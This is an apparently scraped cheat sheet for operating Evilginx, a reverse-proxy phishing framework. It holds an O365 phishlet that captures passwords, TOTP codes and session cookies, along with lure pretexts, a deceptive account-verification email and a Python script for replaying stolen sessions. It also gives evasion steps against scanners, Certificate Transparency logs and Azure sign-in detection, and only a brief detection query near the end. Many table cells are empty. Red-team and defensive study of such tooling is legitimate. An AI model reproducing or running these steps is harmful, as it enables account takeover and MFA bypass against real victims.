The Evilginx cheat sheet covers reverse proxy phishing setup, phishlet configuration, custom phishlet development, lure creation, session capture, OPSEC hardening, GoPhish integration (v3.3+), and v2 vs v3 breaking changes.
# 1. Build and start
git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
go build -o evilginx main.go
sudo ./evilginx -p ./phishlets/
# 2. Inside the Evilginx console - configure domain and IP
config domain phish.example.com
config ipv4 external 1.2.3.4
# 3. Assign hostname and enable phishlet (triggers ACME cert request)
phishlets hostname o365 login.phish.example.com
phishlets enable o365
# 4. Create lure and get phishing URL
lures create o365
lures edit 0 redirect_url https://office.com
lures edit 0 og_title "Microsoft 365 - Sign In"
lures get-url 0
# 5. Wait for victim - then review captured session
sessions
sessions 0
# Prerequisites
apt update && apt install golang-go git make -y
# Clone the repo (main branch = latest stable 3.x)
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
# Build
go build -o evilginx main.go
# or
make
# Run (needs root - binds ports 53, 80, 443)
sudo ./evilginx
# Run with custom dirs
sudo ./evilginx -p /opt/phishlets/ -c /opt/evilginx/
# Developer mode (self-signed certs, no ACME)
sudo ./evilginx -developer
# Attach GoPhish DB for campaign tracking (evilgophish fork only)
sudo ./evilginx -g /path/to/gophish.db
# Official v3.3+ uses: config gophish admin_url / api_key instead
| Flag | Description |
|---|---|
-p <dir> |
|
-c <dir> |
Custom config/data directory |
-developer |
|
-debug |
Enable verbose debug output |
-g <db> |
|
-t <dir> |
|
-h |
Show help |
| Command | Description |
|---|---|
config |
|
config domain <domain> |
|
config ipv4 external <ip> |
|
config ipv4 bind <ip> |
Set bind address (default: all) |
config unauth_url <url> |
|
config wildcards <true\|false> |
Enable wildcard cert (Pro) |
config autocert off |
|
config gophish admin_url <url> |
GoPhish admin URL (v3.3+) |
config gophish api_key <key> |
GoPhish API key (v3.3+) |
config gophish test |
Test GoPhish connection (v3.3+) |
config gophish insecure <true\|false> |
Accept invalid TLS cert (v3.3+) |
config gophish submit_credentials <true\|false> |
Send captured creds to GoPhish (v3.3+) |
config gophish hash_passwords <true\|false> |
Hash passwords before sending (v3.3+) |
# Evilginx console - run these in order
# 1. Set domain and IP
config domain phish.example.com
config ipv4 external 203.0.113.10
# 2. Redirect all unauthenticated / non-lure requests
config unauth_url https://microsoft.com
# 3. (Optional) Connect GoPhish - v3.3+
config gophish admin_url https://127.0.0.1:3333
config gophish insecure true # if GoPhish uses self-signed cert
config gophish api_key abc123yourapikey
config gophish test
# 4. (Optional) Use custom TLS cert instead of ACME
config autocert off
# Place certs at: ~/.evilginx/crt/sites/login.phish.example.com/
# fullchain.pem (or site.crt)
# privkey.pem (or site.key)
; Minimum DNS records for Evilginx
; Replace 203.0.113.10 with your VPS IP
@ A 203.0.113.10 ; root domain
* A 203.0.113.10 ; wildcard - catches all phishlet subdomains
mail A 203.0.113.10 ; optional - mail server
@ MX 10 mail.phish.example.com.
; Email auth records (improve deliverability / avoid spam filters)
@ TXT "v=spf1 ip4:203.0.113.10 ~all"
_dmarc TXT "v=DMARC1; p=quarantine; rua=mailto:[email protected]"
; DKIM: generate with opendkim-genkey, add selector._domainkey TXT record
| Factor | Recommendation |
|---|---|
| VPS providers | |
| OS | Ubuntu 22.04 LTS (most tested) |
| Minimum spec | 1 vCPU, 1 GB RAM, 20 GB disk |
| Domain age | |
| Domain source | Expired domains via expireddomains.net |
| Avoid | Domains previously used for spam / hosting malware |
| Registrar | Namecheap, Porkbun, Dynadot (privacy protection) |
| Domain checks | |
| ASN | Avoid ASNs flagged in aalex954/evilginx2-TTPs IP blacklist |
# UFW - open only required ports
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp # SSH - restrict to your IP in production
ufw allow 53/tcp # DNS (Evilginx built-in DNS server)
ufw allow 53/udp
ufw allow 80/tcp # HTTP (ACME challenge + redirect)
ufw allow 443/tcp # HTTPS (phishing proxy)
ufw enable
# Harden SSH
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
1. Register domain
2. Check categorization:
- https://sitereview.bluecoat.com
- https://www.urlvoid.com
- https://www.virustotal.com/gui/domain/
- https://urlscan.io
- https://www.fortiguard.com/webfilter
3. If categorized as "Uncategorized" - submit as "Business" or "Technology"
4. Wait 24-48h for propagation
5. Re-verify before campaign launch
6. Check DNS history: viewdns.info/iphistory
7. Verify no CT log exposure of phishlet subdomains yet
| Command | Description |
|---|---|
phishlets |
|
phishlets <name> |
Show phishlet config detail |
phishlets hostname <name> <hostname> |
|
phishlets enable <name> |
|
phishlets disable <name> |
Disable phishlet |
phishlets hide <name> |
|
phishlets unhide <name> |
Re-expose phishlet pages |
phishlets unauth_url <name> <url> |
Per-phishlet unauthorized redirect (v3) |
phishlets unauth_url <name> "" |
Clear per-phishlet redirect |
phishlets get-hosts <name> |
|
phishlets create <name> <child> <k=v>... |
Create child phishlet from template |
phishlets delete <name> |
Delete child phishlet |
# -------------------------------------------------------
# PHISHLET HEADER
# -------------------------------------------------------
min_ver: '3.0.0' # minimum Evilginx version required
redirect_url: 'https://office.com' # default post-capture redirect
# -------------------------------------------------------
# PARAMS - template variables, set per-lure or per-child phishlet
# -------------------------------------------------------
params:
- name: 'custom_landing' # use as {custom_landing} in fields below
default: '/mail'
required: false
# -------------------------------------------------------
# PROXY_HOSTS - domains to proxy and issue TLS certs for
# -------------------------------------------------------
proxy_hosts:
- phish_sub: 'login' # subdomain on YOUR phishing domain
orig_sub: 'login' # subdomain on the REAL site
domain: 'microsoftonline.com'
session: true # main HTML content visible in browser URL bar
is_landing: true # this is where the phishing URL points
# port: '8443' # optional: non-standard port on target
auto_filter: true # auto-rewrite URLs (v3 - use this)
- phish_sub: 'aadcdn'
orig_sub: 'aadcdn'
domain: 'msauthimages.net'
session: false
is_landing: false
auto_filter: true
# -------------------------------------------------------
# SUB_FILTERS - manual string replacement in proxied content
# (use when auto_filter is insufficient)
# -------------------------------------------------------
sub_filters:
- triggers_on: 'login.microsoftonline.com'
orig_sub: 'login'
domain: 'microsoftonline.com'
search: 'login\.microsoftonline\.com' # regex
replace: '{hostname}' # built-in var
mimes: ['text/html', 'application/javascript']
redirect_only: false
# with_params: ['client_id'] # conditional - only when param present
# Sub_filter template variables:
# {hostname} - current phishing hostname
# {subdomain} - subdomain portion of phishing hostname
# {domain} - domain portion (no subdomain)
# {orig_hostname} - original legitimate hostname
# {orig_domain} - original legitimate domain
# {basedomain} - your root phishing domain
# {hostname_regexp} - regex-escaped phishing hostname
# {subdomain_regexp} - regex-escaped subdomain
# {domain_regexp} - regex-escaped domain
# {basedomain_regexp} - regex-escaped basedomain
# -------------------------------------------------------
# AUTH_TOKENS - what to capture to consider session complete
# -------------------------------------------------------
auth_tokens:
# --- Cookie type ---
- domain: '.login.microsoftonline.com'
keys:
- 'ESTSAUTH'
- 'ESTSAUTHPERSISTENT'
- 'ESTSAUTHLIGHT'
- 'buid'
- 'fpc'
type: 'cookie'
# --- Body type (token in response body) ---
- domain: 'login.microsoftonline.com'
path: '/common/oauth2/token' # regex
name: 'access_token'
search: '"access_token":"([^"]*)"' # capture group 1 is the value
type: 'body'
# --- HTTP header type ---
- domain: 'login.microsoftonline.com'
path: '/common/oauth2/.*'
name: 'authorization_header'
header: 'Authorization'
type: 'http'
# Cookie key modifiers (append to key name):
# :regexp - treat key as regex pattern
# :opt - optional token (don't block completion)
# :always - capture even after session complete
# -------------------------------------------------------
# CREDENTIALS - capture username and password from POST
# -------------------------------------------------------
credentials:
username:
key: 'login' # POST param name (regex)
search: '(.*)' # capture group 1
type: 'post' # 'post' or 'json'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
custom:
- key: 'totp'
search: '([0-9]{6})'
type: 'post'
# -------------------------------------------------------
# AUTH_URLS - optional: mark session complete on URL access
# -------------------------------------------------------
auth_urls:
- '/common/oauth2/v2.0/token' # regex - captured on POST to this path
# -------------------------------------------------------
# LOGIN - where to send victim when they land on phish URL
# -------------------------------------------------------
login:
domain: 'login.microsoftonline.com'
path: '/common/oauth2/authorize?response_type=code&client_id=4765445b...'
# -------------------------------------------------------
# FORCE_POST - inject/replace POST params in requests
# -------------------------------------------------------
force_post:
- path: '/common/login'
search:
- key: 'login'
search: '.'
force:
- key: 'flowToken'
value: 'injected_value'
type: 'post'
# -------------------------------------------------------
# JS_INJECT - inject JavaScript into proxied pages
# -------------------------------------------------------
js_inject:
- trigger_domains: ['login.microsoftonline.com']
trigger_paths:
- '/common/oauth2/.*'
trigger_params: # only inject when lure has these params
- 'client_id'
script: |
console.log("injected");
// script appended before </body>
# -------------------------------------------------------
# INTERCEPT - block requests and return custom responses
# -------------------------------------------------------
intercept:
- domain: 'login.microsoftonline.com'
path: '/common/oauth2/v2.0/checksession'
http_status: 200
body: '{"session":"active"}'
mime: 'application/json'
| Target | Primary Domain | Key Auth Tokens | Notes |
|---|---|---|---|
| Office 365 | microsoftonline.com |
Most common target | |
| Google Workspace | accounts.google.com |
Multiple cookie domains | |
| GitHub | github.com |
Check __Host- prefix cookies |
|
linkedin.com |
Also capture liap |
||
| Okta | *.okta.com |
Tenant-specific subdomain | |
| Duo | duosecurity.com |
Varies | Used as 2FA layer - capture upstream token |
# 1. Browse target login flow with browser devtools open
# Record: all domains contacted, cookies set, POST params sent
# 2. Identify all domains in the auth flow
# Network tab -> filter by "login" or "auth"
# Note: primary login domain, CDN domains, API domains
# 3. Capture POST request on form submit
# Network tab -> filter by "POST" -> find credential submission
# Record: URL path, param names (username/password fields)
# 4. Identify session cookies
# After login: Application -> Cookies
# Find cookies that persist across page loads
# Test: delete one at a time, reload - which one logs you out?
# 5. Check if target uses SPA (single page app)
# If URL doesn't change after login -> need auth_urls not just cookies
# 6. Map all subdomains in the auth flow
# Example for Google:
# accounts.google.com - main login
# www.google.com - post-login landing
# apis.google.com - API calls
# lh3.googleusercontent.com - avatars/images
# Start with minimal viable phishlet - add complexity only as needed
min_ver: '3.0.0'
redirect_url: 'https://www.targetsite.com/dashboard'
proxy_hosts:
# Start with just the login domain
- phish_sub: 'login'
orig_sub: 'login'
domain: 'targetsite.com'
session: true
is_landing: true
auto_filter: true # let auto_filter handle URL rewriting first
auth_tokens:
- domain: '.targetsite.com'
keys: ['session_token', 'auth_cookie']
type: 'cookie'
credentials:
username:
key: 'email' # match the actual POST param name
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'login.targetsite.com'
path: '/signin'
# Start Evilginx in developer mode (no ACME, self-signed certs)
sudo ./evilginx -developer -p ./phishlets/
# In Evilginx console - get /etc/hosts entries for local testing
phishlets hostname mytarget login.phish.local
phishlets get-hosts mytarget
# Output: 127.0.0.1 login.phish.local
# Add output to /etc/hosts on your test machine
echo "127.0.0.1 login.phish.local" >> /etc/hosts
# Enable phishlet
phishlets enable mytarget
# Create and get lure URL
lures create mytarget
lures get-url 0
# Open URL in browser (accept self-signed cert warning)
# Watch Evilginx console output for proxy activity
# Check what gets captured: sessions
# Common issues:
# - Blank page: missing proxy_hosts entry for a loaded domain
# - Redirect loop: phishlet login path conflicts with lure path
# - No tokens: wrong cookie domain or key name
# - No credentials: wrong POST param key name
# Debug tip: watch the raw request log
# Enable -debug flag and watch for domains not being proxied
| Command | Description |
|---|---|
lures create <phishlet> |
|
lures |
List all lures |
lures <id> |
Show lure details |
lures delete <id> |
Delete lure |
lures delete all |
Delete all lures |
lures get-url <id> |
|
lures get-url <id> import <file> export <out> <fmt> |
Bulk URL generation |
lures pause <id> <duration> |
|
lures unpause <id> |
Unpause lure |
| Parameter | Command | Description |
|---|---|---|
hostname |
lures edit 0 hostname login.phish.example.com |
Override phishlet hostname |
path |
lures edit 0 path /secure-login |
|
redirect_url |
lures edit 0 redirect_url https://office.com |
|
ua_filter |
lures edit 0 ua_filter Mobile\|Android |
|
redirector |
lures edit 0 redirector mypage |
HTML redirector dir |
og_title |
lures edit 0 og_title "Sign In - Microsoft 365" |
|
og_desc |
lures edit 0 og_desc "Secure document shared with you" |
Social preview description |
og_image |
lures edit 0 og_image https://cdn.example.com/preview.jpg |
Social preview image URL |
og_url |
lures edit 0 og_url https://login.phish.example.com |
Canonical URL shown in preview |
phishlet |
lures edit 0 phishlet gmail |
Change which phishlet this lure uses |
info |
lures edit 0 info "Target: ACME Corp HR" |
Operator notes (not shown to victim) |
# O365 document share pretext
lures edit 0 og_title "ACME Corp - Q4 Financial Report.xlsx"
lures edit 0 og_desc "Peter shared a document with you. Sign in to view."
lures edit 0 og_image https://upload.wikimedia.org/wikipedia/commons/thumb/4/4f/Microsoft_Office_2013-2019_logo.png/200px-Microsoft_Office_2013-2019_logo.png
lures edit 0 redirect_url https://www.office.com/
# IT password reset pretext
lures edit 0 og_title "Action Required: Your Microsoft Account Password Expires in 24h"
lures edit 0 og_desc "Update your credentials before access is suspended."
lures edit 0 path /it-helpdesk/password-reset
# LinkedIn job offer pretext
lures edit 0 og_title "You have a new connection request"
lures edit 0 og_desc "Sarah Mitchell (Senior Recruiter at Google) wants to connect"
lures edit 0 og_image https://static.licdn.com/aero-v1/sc/h/bfm2v37eoef9d9u4wblk4a2s
# Mobile-only targeting
lures edit 0 ua_filter "Mobile|Android|iPhone|iPad|iPod"
| Command | Description |
|---|---|
sessions |
|
sessions <id> |
|
sessions delete <id> |
Delete session |
sessions delete <range> |
Delete range e.g. 1-7 or 10-12 |
sessions delete all |
# Step 1: From Evilginx console - copy token JSON
sessions 0
# Copy the JSON block from the "tokens" field
# Step 2: Clear existing site cookies in browser
# Chrome: chrome://settings/siteData -> Remove All
# Firefox: about:preferences#privacy -> Clear Data
# Step 3: Install a cookie import extension
# Chrome: "Cookie-Editor" or "EditThisCookie"
# Firefox: "Cookie-Editor" (Firefox version)
# Step 4: Navigate to the legitimate site domain first
# e.g. https://login.microsoftonline.com
# Step 5: Click extension -> Import -> paste JSON -> confirm
# Step 6: Refresh page - you should be authenticated as victim
#!/usr/bin/env python3
# Use captured Evilginx cookie JSON with Python requests
import requests
import json
# Paste the token JSON from: sessions <id>
# The JSON format from Evilginx:
token_json = [
{"path": "/", "domain": ".login.microsoftonline.com",
"expirationDate": 1700000000, "name": "ESTSAUTH", "value": "YOUR_VALUE"},
{"path": "/", "domain": ".login.microsoftonline.com",
"expirationDate": 1700000000, "name": "ESTSAUTHPERSISTENT", "value": "YOUR_VALUE"},
]
# Convert to requests-compatible dict
session = requests.Session()
for cookie in token_json:
session.cookies.set(
cookie['name'],
cookie['value'],
domain=cookie['domain'].lstrip('.'),
path=cookie.get('path', '/')
)
# Access protected resource
r = session.get("https://portal.office.com/")
print(r.status_code, r.url)
# Or use with curl (Netscape format)
# Convert to Netscape:
def to_netscape(cookies):
lines = ["# Netscape HTTP Cookie File"]
for c in cookies:
http_only = "TRUE" if c.get('httpOnly') else "FALSE"
secure = "TRUE" if c.get('secure') else "FALSE"
lines.append(
f"{c['domain']}\t{http_only}\t{c['path']}\t"
f"{secure}\t{c.get('expirationDate',0)}\t{c['name']}\t{c['value']}"
)
return "\n".join(lines)
with open("/tmp/captured.txt", "w") as f:
f.write(to_netscape(token_json))
# curl --cookie-jar /tmp/new.txt --cookie /tmp/captured.txt https://portal.office.com/
| Command | Description |
|---|---|
proxy |
Show current proxy config |
proxy type <type> |
Set type: http, https, socks5, socks5h |
proxy address <addr> |
Proxy server address |
proxy port <port> |
Proxy server port |
proxy username <user> |
Auth username |
proxy password <pass> |
Auth password |
proxy enable |
Enable outbound proxy |
proxy disable |
Disable outbound proxy |
Route reverse-proxy requests through different IPs or debug traffic through Burp Suite. Restart Evilginx after enable/disable.
# Evilginx console - blacklist mode
# Modes: all (block all), unauth (block unauthorized), noadd (block but don't add IPs), off (disable)
blacklist # show current blacklist config
blacklist all # block AND blacklist ALL requests (including valid lure URLs!)
blacklist unauth # block unauthorized only (default mode)
blacklist noadd # block but don't add new IPs
blacklist off # ignore stored IP blacklist (still blocks unauthorized)
blacklist log on # enable blacklist logging
blacklist log off # disable blacklist logging
# Blacklist file location:
# ~/.evilginx/blacklist.txt
# Supports single IPs and CIDR masks:
# 192.168.1.1
# 10.0.0.0/8
# NOTE: blacklist.txt is only loaded at startup - restart after edits
# User-agent filter per lure (regex whitelist - non-matching = unauth redirect)
lures edit 0 ua_filter "Windows NT|Macintosh|Linux x86_64"
# Block mobile scanners
lures edit 0 ua_filter "^Mozilla.*Windows NT"
# Country whitelist (requires MaxMind GeoLite2-City.mmdb)
# NOTE: This feature is from an unmerged community PR (#868) - not in official evilginx.
# It may be available in some forks. Verify before relying on it.
# File: ~/.evilginx/country_whitelist.txt
# Format: one ISO country code per line
echo "US" > ~/.evilginx/country_whitelist.txt
echo "GB" >> ~/.evilginx/country_whitelist.txt
echo "DE" >> ~/.evilginx/country_whitelist.txt
# Microsoft EOP / security scanner IP blocklist (community maintained)
# https://github.com/aalex954/evilginx2-TTPs
# Pre-populated blacklist.txt with known security scanner IPs
Official redirector template (in repo at redirectors/turnstile/). Not documented on help.evilginx.com but present in official GitHub. Turnstile acts as a bot filter before the phishing page. Bots/scanners fail the challenge and never reach evilginx. Two implementations exist:
# === OFFICIAL EVILGINX (client-side only) ===
# 1. Create Turnstile widget in Cloudflare dashboard
# - Add site -> set domain to your phishing domain
# - Widget type: Invisible (no user interaction)
# - Copy Site Key
# 2. Edit redirectors/turnstile/index.html
# Replace placeholder: 1x00000000000000000000BB -> your_site_key
# 3. Set lure to use the redirector
lures edit 0 redirector /turnstile
# Available template variables in redirector HTML:
# {lure_url_js} - lure URL for JS (window.location.assign)
# {lure_url_html} - lure URL for HTML href
# {from_name} - sender name (GoPhish integration)
# {from_email} - sender email (GoPhish integration)
# {filename} - download filename (download_example redirector)
# Flow: click -> Turnstile (invisible) -> pass -> lure URL
# No server-side validation (client-side callback only)
# === EVILGOPHISH (full server-side validation) ===
# Uses both public (site) key AND private (secret) key
# Turnstile HTTP server runs on port 80
# Server-side token validation via Cloudflare API
# Failed challenges -> 403 page (customizable template)
# See: https://github.com/fin3ss3g0d/evilgophish
# /etc/nginx/sites-available/evilginx-proxy
# Run Nginx on 443, forward to Evilginx on 8443
# Benefits: TLS fingerprint obfuscation, Cloudflare-compatible, access logging
server {
listen 443 ssl http2;
server_name *.phish.example.com;
ssl_certificate /etc/letsencrypt/live/phish.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/phish.example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
# Block known scanner user-agents before they reach Evilginx
if ($http_user_agent ~* "(Googlebot|bingbot|YandexBot|DotBot|SemrushBot|AhrefsBot|MJ12bot|zgrab|masscan|Nuclei|Shodan|censys|ZmEu)") {
return 301 https://microsoft.com;
}
location / {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
proxy_connect_timeout 10;
proxy_read_timeout 60;
}
}
server {
listen 80;
server_name *.phish.example.com;
return 301 https://$host$request_uri;
}
| Step | Action | Detail |
|---|---|---|
| 1 | Get certs first | Run ACME cert request BEFORE enabling Cloudflare proxy |
| 2 | Add DNS in Cloudflare | A record * -> VPS IP, |
| 3 | Enable Evilginx | phishlets enable o365 - cert request succeeds with grey cloud |
| 4 | Enable proxy | Set Cloudflare DNS to |
| 5 | SSL mode | Cloudflare SSL/TLS -> set to |
| 6 | Config autocert | config autocert off - prevent Evilginx ACME conflicts |
| 7 | Verify origin IP | Confirm VPS IP not exposed in DNS history / CT logs |
| Benefit | Bot filtering | Cloudflare blocks many automated scanners before they hit Evilginx |
| Benefit | JA3 obfuscation | Cloudflare terminates TLS - hides Evilginx JA3/JA3S fingerprint |
| Benefit | CT log protection | Wildcard cert + Cloudflare = no per-phishlet hostname in CT logs |
# 1. Remove Evilginx header signature from source (before building)
# Edit: core/http_proxy.go
# Find and remove/randomize: X-Evilginx header injection
# 2. Hide phishlets from direct access
phishlets hide o365
# 3. Use non-default lure path length
lures edit 0 path /verify/identity/secure # not the default 8-char random
# 4. Set realistic redirect after capture
lures edit 0 redirect_url https://www.office.com/
# 5. Check Certificate Transparency exposure
# https://crt.sh/?q=%.phish.example.com
# If phishlet subdomains appear - consider wildcard cert (Pro) or Cloudflare
# 6. Verify your IP is not in known phishing infrastructure lists
# https://github.com/aalex954/evilginx2-TTPs
# 7. Pre-campaign domain validation
curl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=KEY&domain=phish.example.com"
curl -s "https://urlscan.io/api/v1/search/?q=domain:phish.example.com"
# 8. GoPhish signature removal (if using GoPhish)
# Edit: config/config.go -> ServerName = "RANDOMSTRING"
# Edit: controllers/api/util.go -> remove X-Gophish-Contact header
# 9. Use a redirector HTML page as lure buffer
# Lure -> HTML redirector (hosted elsewhere) -> Evilginx
# Breaks direct URL scanning chain
# 10. Monitor for your domain in threat intel
# https://urlhaus.abuse.ch
# https://openphish.com
# NOTE: config gophish commands are documented in the Evilginx 3.3 blog
# but not in the official community docs. Verify availability in your build.
# Architecture:
# GoPhish (port 3333 admin, 8080 internal) -> sends emails with Evilginx lure URLs
# Evilginx (port 443) -> proxies target site, captures tokens
# Evilginx notifies GoPhish on: email open, link click, session capture
# 1. Install GoPhish
# Check latest version at: https://github.com/gophish/gophish/releases
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-*.zip && chmod +x gophish
# Edit config.json: change admin_server.listen_url to 127.0.0.1:3333
./gophish &
# 2. Start Evilginx with GoPhish DB path
sudo ./evilginx -g /path/to/gophish.db
# 3. Connect in Evilginx console
config gophish admin_url https://127.0.0.1:3333
config gophish insecure true # if GoPhish uses self-signed cert
config gophish api_key <api_key_from_gophish_ui>
config gophish test # should return success
# 4. In GoPhish UI:
# - Create Sending Profile (SMTP config)
# - Create Email Template (use {{.URL}} as the link href)
# - Create Target Group (upload CSV of targets)
# - Create Campaign -> paste Evilginx lure URL in "Evilginx Lure URL" field
# - GoPhish auto-appends tracking params (fname, lname, email, rid)
# - No Landing Page needed - Evilginx handles proxying
# 5. GoPhish tracks:
# Email Sent / Opened / Link Clicked / Data Submitted (= session captured)
# github.com/fin3ss3g0d/evilgophish
# Adds: Cloudflare Turnstile bot challenge, SMS phishing (Twilio),
# QR code generation, GoPhish UI showing captured JSON tokens
git clone https://github.com/fin3ss3g0d/evilgophish
cd evilgophish
# Setup script parameters:
# ./setup.sh <root-domain> "<evilginx-subdomains>" <proxy-root?> <feed?> <rid-name>
./setup.sh phish.example.com "login mail" true false "client_id"
# This:
# - Configures Nginx as reverse proxy
# - Sets up GoPhish on internal ports only
# - Patches GoPhish signatures
# - Starts Evilginx3 with integration
# Start GoPhish (internal only)
cd gophish && ./gophish &
# Start Evilginx3
cd evilginx3 && sudo ./evilginx3 -g ../gophish/gophish.db
# Access GoPhish admin: https://phish.example.com:3333
<!-- Email template in GoPhish -->
<!-- {{.URL}} is replaced by GoPhish with the tracking URL -->
<!-- The tracking URL redirects to your Evilginx lure URL -->
Subject: Action Required: Verify Your Microsoft 365 Account
<html>
<body style="font-family: Calibri, sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Your Microsoft 365 account requires immediate verification.
Failure to verify within 24 hours will result in account suspension.</p>
<p>
<a href="{{.URL}}"
style="background:#0078d4;color:white;padding:10px 20px;
text-decoration:none;border-radius:3px;">
Verify Account Now
</a>
</p>
<p>Microsoft Account Team</p>
</body>
</html>
| Indicator | Source | Evasion |
|---|---|---|
8-char random lure path /<xxxxxxxx> |
Use custom lure path | |
| New domain + LetsEncrypt cert same day | Buy aged domain, use wildcard cert (Pro) | |
| Phishlet subdomains in CT logs | Cloudflare proxy, wildcard cert | |
login. subdomain on non-Microsoft domain |
Use generic subdomain names | |
X-Evilginx HTTP header |
Patch source and rebuild | |
| VPS/datacenter ASN in Azure/AAD sign-in logs | Residential proxy egress for session use | |
| Session used from different geo than auth | Match victim's geo for session replay | |
| MFA device added post-compromise | Slow down - wait before persistence | |
| Duplicate sign-in + immediate MFA add | Use stolen session for read-only recon first | |
GoPhish X-Gophish-Contact header |
Patch GoPhish source | |
GoPhish default gophish ServerName |
Patch config.go ServerName | |
HTML <title>Gophish in landing pages |
Customize all templates |
Artifacts visible in Azure Sign-in Logs after successful AiTM:
1. UserAgent mismatch between phishing proxy and session replay
-> Use victim's exact UA string for session replay
2. Sign-in from datacenter IP (Evilginx VPS)
-> Move session use to residential IP
3. "Unfamiliar sign-in properties" risk event
-> Triggered by new IP + new device fingerprint
4. Token issued to proxy, then replayed from different IP
-> Azure Continuous Access Evaluation (CAE) can detect this
-> CAE checks IP binding on tokens for some apps
5. Auth-flow anomaly: user hits login page 0 times but
token appears (proxy intercept visible in some SIEM configs)
Detection rules (Sentinel KQL):
SigninLogs
| where RiskLevelDuringSignIn == "high"
| where IPAddress !in (known_corp_ranges)
| where AuthenticationDetails contains "MFA"
| project TimeGenerated, UserPrincipalName, IPAddress,
AppDisplayName, RiskEventTypes
# 1. INFRASTRUCTURE
# Provision VPS (Vultr/Hetzner), assign static IP
sudo ufw allow 53/udp && sudo ufw allow 53/tcp
sudo ufw allow 80/tcp && sudo ufw allow 443/tcp
# 2. DOMAIN
# Register aged domain, set DNS records:
# A @ -> VPS_IP | A * -> VPS_IP | SPF/DKIM/DMARC
# Check reputation: VirusTotal, Bluecoat, URLscan.io
# 3. EVILGINX SETUP
sudo ./evilginx -p ./phishlets/
config domain phish.example.com
config ipv4 external <VPS_IP>
config unauth_url https://microsoft.com
# 4. PHISHLET
phishlets hostname o365 login.phish.example.com
phishlets enable o365 # triggers ACME cert (wait 30-60s)
phishlets hide o365 # hide from non-lure access
# 5. LURE
lures create o365
lures edit 0 og_title "Verify Your Account"
lures edit 0 og_desc "IT Security: Identity verification required"
lures edit 0 redirect_url https://office.com
lures get-url 0 # copy the phishing URL
# 6. DELIVER
# Send URL via GoPhish campaign, Teams message, or SMS
# 7. CAPTURE
sessions # wait for victim to authenticate
sessions 0 # view captured session + cookies
# 8. IMPORT
# Browser: Cookie-Editor extension -> delete cookies -> import JSON
# Navigate to target app -> authenticated as victim, MFA bypassed
| Category | Command | Description |
|---|---|---|
| Config | config |
|
config domain <d> |
Set phishing domain | |
config ipv4 external <ip> |
Set public IP | |
config ipv4 bind <ip> |
Set bind IP | |
config unauth_url <url> |
||
config wildcards true |
Enable wildcard certs (Pro) | |
config autocert off |
Disable ACME | |
config gophish admin_url <u> |
GoPhish URL | |
config gophish api_key <k> |
GoPhish API key | |
config gophish test |
Test GoPhish link | |
| Phishlets | phishlets |
|
phishlets <name> |
Show phishlet detail | |
phishlets hostname <n> <h> |
||
phishlets enable <name> |
Enable + ACME cert | |
phishlets disable <name> |
Disable | |
phishlets hide <name> |
||
phishlets unhide <name> |
Unhide | |
phishlets unauth_url <n> <u> |
Per-phishlet redirect | |
phishlets get-hosts <name> |
Dev /etc/hosts entries | |
| Lures | lures |
List all lures |
lures create <phishlet> |
||
lures <id> |
Show lure detail | |
lures get-url <id> |
||
lures delete <id> |
Delete lure | |
lures delete all |
Delete all | |
lures pause <id> <dur> |
||
lures unpause <id> |
Unpause | |
lures edit <id> path <p> |
Set URL path | |
lures edit <id> redirect_url <u> |
Post-capture redirect | |
lures edit <id> ua_filter <re> |
UA regex whitelist | |
lures edit <id> og_title <t> |
Social preview title | |
lures edit <id> og_desc <d> |
Social preview desc | |
lures edit <id> og_image <u> |
Social preview image | |
lures edit <id> og_url <u> |
Social preview URL | |
lures edit <id> info <note> |
Operator notes | |
| Sessions | sessions |
|
sessions <id> |
||
sessions delete <id> |
Delete session | |
sessions delete all |
Wipe all sessions | |
| Blacklist | blacklist |
Show blacklist config |
blacklist all |
Block AND blacklist ALL requests (including valid lure URLs!) | |
blacklist unauth |
Block unauthorized only (default mode) | |
blacklist noadd |
Block but don't add new IPs | |
blacklist off |
Ignore stored IP blacklist (still blocks unauthorized) | |
blacklist log on |
Enable blacklist logging | |
blacklist log off |
Disable blacklist logging | |
| Phishlets | phishlets create <name> |
Create new phishlet |
phishlets delete <name> |
Delete phishlet | |
| Config | config gophish insecure |
Allow insecure GoPhish connection |
config gophish submit_credentials |
Push creds to GoPhish | |
config gophish hash_passwords |
Hash passwords before sending | |
| Proxy | proxy |
Show proxy config |
proxy type <type> |
Set type: http, https, socks5, socks5h | |
proxy address <addr> |
Proxy server address | |
proxy port <port> |
Proxy server port | |
proxy username <user> |
Auth username | |
proxy password <pass> |
Auth password | |
proxy enable |
Enable outbound proxy | |
proxy disable |
Disable outbound proxy | |
| Help | help |
List all commands |
help <command> |
Command help | |
clear |
Clear console | |
exit |
Exit Evilginx |
| Area | Evilginx 2.x | Evilginx 3.x |
|---|---|---|
| Global unauth redirect | config redirect_url <url> |
config unauth_url <url> (renamed) |
| Phishlet redirect | Not per-phishlet | phishlets unauth_url <name> <url> |
| Phishlet format | v2.3.0 YAML | |
| TLS certificates | LetsEncrypt only | |
| Wildcard certs | Not supported | |
| Cache control | Browser can cache | Auto Cache-Control: no-cache injected |
| JS injection | Inline scripts | External script references |
| GoPhish integration | Manual / evilgophish | config gophish commands (v3.3+) |
| Single-page app redirect | Broken on SPAs | |
| Per-phishlet default redirect | Not available | redirect_url field in phishlet YAML (v3.2+) |
| Lure pausing | Not available | lures pause <id> <duration> |
| Lure bulk URL export | Not available | lures get-url <id> import/export |
| Intercept section | Not available | intercept in phishlet YAML |
| Bot detection bypass | Basic blacklist | |
auto_filter |
Manual sub_filters | auto_filter: true in proxy_hosts |
| Feature | Notes |
|---|---|
| Wildcard TLS | |
auto_filter |
|
intercept section |
Return custom HTTP responses to block requests |
Per-lure info field |
Operator notes on lures |
